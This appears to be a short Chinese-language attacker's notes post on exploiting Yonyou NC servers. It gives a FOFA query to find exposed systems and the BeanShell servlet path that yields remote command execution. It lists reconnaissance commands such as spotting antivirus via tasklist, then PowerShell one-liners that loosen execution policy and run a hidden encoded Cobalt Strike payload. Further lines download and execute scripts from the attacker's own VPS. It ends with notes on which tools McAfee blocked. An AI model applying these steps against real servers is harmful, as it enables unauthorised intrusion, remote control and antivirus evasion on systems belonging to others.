nc版本
1、fofa语法 "用友nc"
2、界面如下,如图可以点进去到不同系统,我才发现



命令执行
1、在url后面输入以下代码,进入Beanshell组件,直接命令执行
/servlet//~ic/bsh.servlet.BshServlet


2、常用命令
exec("whoami"); 查看当前用户
exec("net user"); 查看用户
exec("netstat -ano"); 查看端口,比如3389
exec("tasklist"); 查看进程,可以看到杀软
exec("ipconfig"); 查看内网ip
exec("systeminfo"); 查看系统信息
3、利用powershell
exec("cmd.exe /c powershell.exe Get-ExecutionPolicy"); 验证是否开启远程执行权限,RemoteSigned说明可以远程下载执行
exec("cmd.exe /c powershell.exe Set-ExecutionPolicy -ExecutionPolicy RemoteSigned"); 若不是RemoteSigned则设置
exec("cmd.exe /c powershell.exe -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBldasdasd");
此处命令替换为cs生成的payload(Attacks-->Packages-->Generate-->powershell command)直接上线
=======其他powershell命令========
exec("cmd.exe /c powershell.exe -ExecutionPolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile('http://你的vps/test.txt','123456.txt');"); 下载文件,前提也是开启RemoteSigned
exec("cmd.exe /c powershell -nop -c iex(New-Object Net.WebClient).DownloadString('http://你的vps:80/payload.ps1')"); 通过下载ps1文件上线,ps命令行有时候会失效

此方法直接上线cs,前提是目标服务器没杀软,有的话需要绕过

这里有macfee,没杀我powershell,但是直接杀了我的fscan.exe和cs的端口扫描和提权操作
